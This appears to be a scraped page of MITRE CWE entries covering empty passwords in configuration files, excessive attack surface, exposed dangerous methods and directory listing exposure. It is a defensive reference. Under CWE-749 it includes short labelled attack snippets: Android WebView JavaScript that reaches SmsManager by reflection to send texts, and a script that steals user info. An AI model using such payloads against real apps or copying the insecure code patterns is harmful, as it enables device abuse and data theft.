Change Date Previous Entry Name
2008-01-30 Malicious
Back to top

CWE-258: Empty Password in Configuration File

Weakness ID: 258
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
Using an empty string as a password is insecure.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Gain Privileges or Assume Identity

Scope: Access Control

+ Potential Mitigations
Phase(s) Mitigation

System Configuration
Passwords should be at least eight characters long -- the longer the better. Avoid passwords that are in any way similar to other passwords you have. Avoid using words that may be found in a dictionary, names book, on a map, etc. Consider incorporating numbers and/or punctuation into your password. If you do use common words, consider replacing letters in that word with numbers and punctuation. However, do not use "similar-looking" punctuation. For example, it is not a good idea to change cat to c@t, ca+, (@+, or anything similar. Finally, it is never appropriate to use an empty string as a password.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 260 Password in Configuration File
ChildOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 521 Weak Password Requirements
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1010 Authenticate Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design
Implementation REALIZATION: This weakness is caused during implementation of an architectural security tactic.
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1


The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but the password is provided as an empty string.

This Java example shows a properties file with an empty password string.

(bad code)
Example Language: Java 

# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=
...

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database and the password is provided as an empty string.

(bad code)
Example Language: ASP.NET 
...
<connectionStrings>
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=; dbalias=uDB;" providerName="System.Data.Odbc" />
</connectionStrings>
...

An empty string should never be used as a password as this can allow unauthorized access to the application. Username and password information should not be included in a configuration file or a properties file in clear text. If possible, encrypt this information and avoid CWE-260 and CWE-13.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Network access control (NAC) product has a configuration file with an empty password
+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 254 7PK - Security Features
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 950 SFP Secondary Cluster: Hardcoded Sensitive Data
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1396 Comprehensive Categorization: Access Control
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1442 OWASP Top Ten 2025 Category A07:2025 - Authentication Failures
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
7 Pernicious Kingdoms Password Management: Empty Password in Configuration File
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07.
<https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
[REF-207] John Viega and Gary McGraw. "Building Secure Software: How to Avoid Security Problems the Right Way". 1st Edition. Addison-Wesley. 2002.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		7 Pernicious Kingdoms
+ Modifications
Modification Date Modifier Organization
2025-12-11
(CWE 4.19, 2025-12-11) 		CWE Content Team MITRE
updated Relationships
2023-10-26 CWE Content Team MITRE
updated Observed_Examples
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated References, Relationships
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, Causal_Nature, Likelihood_of_Exploit, Modes_of_Introduction, Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships
2013-02-21 CWE Content Team MITRE
updated Potential_Mitigations
2012-05-11 CWE Content Team MITRE
updated References, Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2010-12-13 CWE Content Team MITRE
updated Demonstrative_Examples
2009-10-29 CWE Content Team MITRE
updated Other_Notes, Potential_Mitigations
2008-09-08 CWE Content Team MITRE
updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
Back to top

CWE-1125: Excessive Attack Surface

Weakness ID: 1125
Vulnerability Mapping: PROHIBITED This CWE ID must not be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product has an attack surface whose quantitative measurement exceeds a desirable maximum.
+ Extended Description

Originating from software security, an "attack surface" measure typically reflects the number of input points and output points that can be utilized by an untrusted party, i.e. a potential attacker. A larger attack surface provides more places to attack, and more opportunities for developers to introduce weaknesses. In some cases, this measure may reflect other aspects of quality besides security; e.g., a product with many inputs and outputs may require a large number of tests in order to improve code coverage.

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Varies by Context

Scope: Other

+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 1120 Excessive Code Complexity
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1226 Complexity Issues
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Implementation
Architecture and Design
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Weakness Ordinalities
Ordinality Description
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1412 Comprehensive Categorization: Poor Coding Practices
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1441 OWASP Top Ten 2025 Category A06:2025 - Insecure Design
+ Vulnerability Mapping Notes
Usage PROHIBITED
(this CWE ID must not be used to map to real-world vulnerabilities)
Reason Other

Rationale

This entry is primarily a quality issue with no direct security implications.

Comments

Look for weaknesses that are focused specifically on insecure behaviors that have more direct security implications.
+ References
[REF-966] Pratyusa Manadhata. "An Attack Surface Metric". 2008-11.
<http://reports-archive.adm.cs.cmu.edu/anon/2008/CMU-CS-08-152.pdf>.
[REF-967] Pratyusa Manadhata and Jeannette M. Wing. "Measuring a System's Attack Surface". 2004.
<http://www.cs.cmu.edu/afs/cs/usr/wing/www/publications/ManadhataWing04.pdf>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2018-07-02
(CWE 3.2, 2019-01-03) 		CWE Content Team MITRE
Entry derived from Common Quality Enumeration (CQE) Draft 0.9.
+ Modifications
Modification Date Modifier Organization
2025-12-11
(CWE 4.19, 2025-12-11) 		CWE Content Team MITRE
updated Applicable_Platforms, Common_Consequences, Relationships, Time_of_Introduction
2024-02-29
(CWE 4.14, 2024-02-29) 		CWE Content Team MITRE
updated Mapping_Notes
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Relationships
Back to top

CWE-749: Exposed Dangerous Method or Function

Weakness ID: 749
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product provides an Applications Programming Interface (API) or similar interface for interaction with external actors, but the interface includes a dangerous method or function that is not properly restricted.
+ Extended Description

This weakness can lead to a wide variety of resultant weaknesses, depending on the behavior of the exposed method. It can apply to any number of technologies and approaches, such as ActiveX controls, Java functions, IOCTLs, and so on.

The exposure can occur in a few different ways:

  • The function/method was never intended to be exposed to outside actors.
  • The function/method was only intended to be accessible to a limited set of actors, such as Internet-based access from a single web site.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Gain Privileges or Assume Identity; Read Application Data; Modify Application Data; Execute Unauthorized Code or Commands; Other

Scope: Integrity, Confidentiality, Availability, Access Control, Other

Exposing critical functionality essentially provides an attacker with the privilege level of the exposed functionality. This could result in the modification or exposure of sensitive data or possibly even execution of arbitrary code.
+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design
If you must expose a method, make sure to perform input validation on all arguments, limit access to authorized parties, and protect against all possible vulnerabilities.

Architecture and Design; Implementation

Strategy: Attack Surface Reduction

Identify all exposed functionality. Explicitly list all functionality that must be exposed to some user or set of users. Identify which functionality may be:

  • accessible to all users
  • restricted to a small set of privileged users
  • prevented from being directly accessible at all

Ensure that the implemented code follows these expectations. This includes setting the appropriate access modifiers where applicable (public, private, protected, etc.) or not marking ActiveX controls safe-for-scripting.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 284 Improper Access Control
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 618 Exposed Unsafe ActiveX Method
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 782 Exposed IOCTL with Insufficient Access Control
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1228 API / Function Errors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Likelihood Of Exploit
Low
+ Demonstrative Examples

Example 1


In the following Java example the method removeDatabase will delete the database with the name specified in the input parameter.

(bad code)
Example Language: Java 
public void removeDatabase(String databaseName) {
try {
Statement stmt = conn.createStatement();
stmt.execute("DROP DATABASE " + databaseName);
} catch (SQLException ex) {...}
}

The method in this example is declared public and therefore is exposed to any class in the application. Deleting a database should be considered a critical operation within an application and access to this potentially dangerous method should be restricted. Within Java this can be accomplished simply by declaring the method private thereby exposing it only to the enclosing class as in the following example.

(good code)
Example Language: Java 
private void removeDatabase(String databaseName) {
try {
Statement stmt = conn.createStatement();
stmt.execute("DROP DATABASE " + databaseName);
} catch (SQLException ex) {...}
}


Example 2


These Android and iOS applications intercept URL loading within a WebView and perform special actions if a particular URL scheme is used, thus allowing the Javascript within the WebView to communicate with the application:

(bad code)
Example Language: Java 
// Android
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url){
if (url.substring(0,14).equalsIgnoreCase("examplescheme:")){
if(url.substring(14,25).equalsIgnoreCase("getUserInfo")){
writeDataToView(view, UserData);
return false;
}
else{
return true;
}
}
}
(bad code)
Example Language: Objective-C 
// iOS
-(BOOL) webView:(UIWebView *)exWebView shouldStartLoadWithRequest:(NSURLRequest *)exRequest navigationType:(UIWebViewNavigationType)exNavigationType
{
NSURL *URL = [exRequest URL];
if ([[URL scheme] isEqualToString:@"exampleScheme"])
{
NSString *functionString = [URL resourceSpecifier];
if ([functionString hasPrefix:@"specialFunction"])
{

// Make data available back in webview.
UIWebView *webView = [self writeDataToView:[URL query]];
}
return NO;
}
return YES;
}

A call into native code can then be initiated by passing parameters within the URL:

(attack code)
Example Language: JavaScript 
window.location = examplescheme://method?parameter=value

Because the application does not check the source, a malicious website loaded within this WebView has the same access to the API as a trusted site.



Example 3


This application uses a WebView to display websites, and creates a Javascript interface to a Java object to allow enhanced functionality on a trusted website:

(bad code)
Example Language: Java 
public class WebViewGUI extends Activity {
WebView mainWebView;

public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
mainWebView = new WebView(this);
mainWebView.getSettings().setJavaScriptEnabled(true);
mainWebView.addJavascriptInterface(new JavaScriptInterface(), "userInfoObject");
mainWebView.loadUrl("file:///android_asset/www/index.html");
setContentView(mainWebView);
}

final class JavaScriptInterface {
JavaScriptInterface () {}

public String getUserInfo() {
return currentUser.Info();
}
}
}

Before Android 4.2 all methods, including inherited ones, are exposed to Javascript when using addJavascriptInterface(). This means that a malicious website loaded within this WebView can use reflection to acquire a reference to arbitrary Java objects. This will allow the website code to perform any action the parent application is authorized to.

For example, if the application has permission to send text messages:

(attack code)
Example Language: JavaScript 
<script>
userInfoObject.getClass().forName('android.telephony.SmsManager').getMethod('getDefault',null).sendTextMessage(attackNumber, null, attackMessage, null, null);
</script>

This malicious script can use the userInfoObject object to load the SmsManager object and send arbitrary text messages to any recipient.



Example 4


After Android 4.2, only methods annotated with @JavascriptInterface are available in JavaScript, protecting usage of getClass() by default, as in this example:

(bad code)
Example Language: Java 
final class JavaScriptInterface {
JavaScriptInterface () { }

@JavascriptInterface
public String getUserInfo() {
return currentUser.Info();
}
}

This code is not vulnerable to the above attack, but still may expose user info to malicious pages loaded in the WebView. Even malicious iframes loaded within a trusted page may access the exposed interface:

(attack code)
Example Language: JavaScript 
<script>
var info = window.userInfoObject.getUserInfo();
sendUserInfo(info);
</script>

This malicious code within an iframe is able to access the interface object and steal the user's data.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
arbitrary Java code execution via exposed method
security tool ActiveX control allows download or upload of files
+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods
Method Details

Automated Static Analysis
Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 808 2010 Top 25 - Weaknesses On the Cusp
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 975 SFP Secondary Cluster: Architecture
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1416 Comprehensive Categorization: Resource Lifecycle Management
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1436 OWASP Top Ten 2025 Category A01:2025 - Broken Access Control
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Research Gap

Under-reported and under-studied. This weakness could appear in any technology, language, or framework that allows the programmer to provide a functional interface to external parties, but it is not heavily reported. In 2007, CVE began showing a notable increase in reports of exposed method vulnerabilities in ActiveX applications, as well as IOCTL access to OS-level resources. These weaknesses have been documented for Java applications in various secure programming sources, but there are few reports in CVE, which suggests limited awareness in most parts of the vulnerability research community.
+ References
[REF-503] Microsoft. "Developing Secure ActiveX Controls". 2005-04-13.
<https://learn.microsoft.com/en-us/previous-versions//ms533046(v=vs.85)?redirectedfrom=MSDN>. (URL validated: 2023-04-07)
[REF-510] Microsoft. "How to stop an ActiveX control from running in Internet Explorer".
<https://support.microsoft.com/en-us/help/240797/how-to-stop-an-activex-control-from-running-in-internet-explorer>. (URL validated: 2023-04-07)
+ Content History
+ Submissions
Submission Date Submitter Organization
2008-11-24
(CWE 1.1, 2008-11-24) 		CWE Content Team MITRE
+ Modifications
Modification Date Modifier Organization
2025-12-11
(CWE 4.19, 2025-12-11) 		CWE Content Team MITRE
updated Relationships
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Detection_Factors, References, Relationships
2023-01-31 CWE Content Team MITRE
updated Description, Related_Attack_Patterns, Relationships
2020-02-24 CWE Content Team MITRE
updated Relationships
2019-06-20 CWE Content Team MITRE
updated Relationships
2017-11-08 CWE Content Team MITRE
updated Likelihood_of_Exploit, References, Relationships
2015-12-07 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships
2014-02-18 CWE Content Team MITRE
updated Demonstrative_Examples
2012-05-11 CWE Content Team MITRE
updated Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2010-06-21 CWE Content Team MITRE
updated Common_Consequences
2010-04-05 CWE Content Team MITRE
updated Demonstrative_Examples, Related_Attack_Patterns
2010-02-16 CWE Content Team MITRE
updated Common_Consequences, Demonstrative_Examples, Potential_Mitigations, References, Related_Attack_Patterns, Relationships
2009-12-28 CWE Content Team MITRE
updated Applicable_Platforms, Likelihood_of_Exploit
2009-07-27 CWE Content Team MITRE
updated Relationships
2009-01-12 CWE Content Team MITRE
updated Name
+ Previous Entry Names
Change Date Previous Entry Name
2009-01-12 Exposed Insecure Method or Function
Back to top

CWE-548: Exposure of Information Through Directory Listing

Weakness ID: 548
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product inappropriately exposes a directory listing with an index of all the resources located inside of the directory. Diagram for CWE-548
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Read Files or Directories

Scope: Confidentiality

Exposing the contents of a directory can lead to an attacker gaining access to source code or providing useful information for the attacker to devise exploits, such as creation times of files or any information that may be encoded in file names. The directory listing may also compromise private or confidential data.
+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design; System Configuration
Recommendations include restricting access to important directories or files by adopting a need to know requirement for both the document and server root, and turning off features such as Automatic Directory Listings that could expose private files and provide information that could be utilized by an attacker when formulating or conducting an attack.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 497 Exposure of Sensitive System Information to an Unauthorized Control Sphere
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Implementation
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Detection Methods
Method Details

Automated Static Analysis
Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 731 OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 933 OWASP Top Ten 2013 Category A5 - Security Misconfiguration
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 963 SFP Secondary Cluster: Exposed Data
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1032 OWASP Top Ten 2017 Category A6 - Security Misconfiguration
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1345 OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1417 Comprehensive Categorization: Sensitive Information Exposure
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1436 OWASP Top Ten 2025 Category A01:2025 - Broken Access Control
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
OWASP Top Ten 2004 A10 CWE More Specific Insecure Configuration Management
WASC 16 Directory Indexing
+ References
[REF-1458] Web Application Security Consortium. "Directory Indexing". 2009-05-20.
<https://projects.webappsec.org/w/page/13246922/Directory%20Indexing>. (URL validated: 2025-03-13)
[REF-1459] IBM. "Directory indexing attacks". 2021-03-08.
<https://www.ibm.com/docs/en/snips/4.6.0?topic=categories-directory-indexing-attacks>. (URL validated: 2025-03-13)
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		Anonymous Tool Vendor (under NDA)
+ Modifications
Modification Date Modifier Organization
2025-12-11
(CWE 4.19, 2025-12-11) 		CWE Content Team MITRE
updated Applicable_Platforms, Relationships, Weakness_Ordinalities
2025-04-03
(CWE 4.17, 2025-04-03) 		CWE Content Team MITRE
updated Description, Diagram, References
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Detection_Factors, Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Name, Relationships
2018-03-27 CWE Content Team MITRE
updated Relationships
2017-11-08 CWE Content Team MITRE
updated Taxonomy_Mappings
2014-07-30 CWE Content Team MITRE
updated Relationships
2014-06-23 CWE Content Team MITRE
updated Relationships
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2012-05-11 CWE Content Team MITRE
updated Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2011-03-29 CWE Content Team MITRE
updated Name
2010-02-16 CWE Content Team MITRE
updated Taxonomy_Mappings
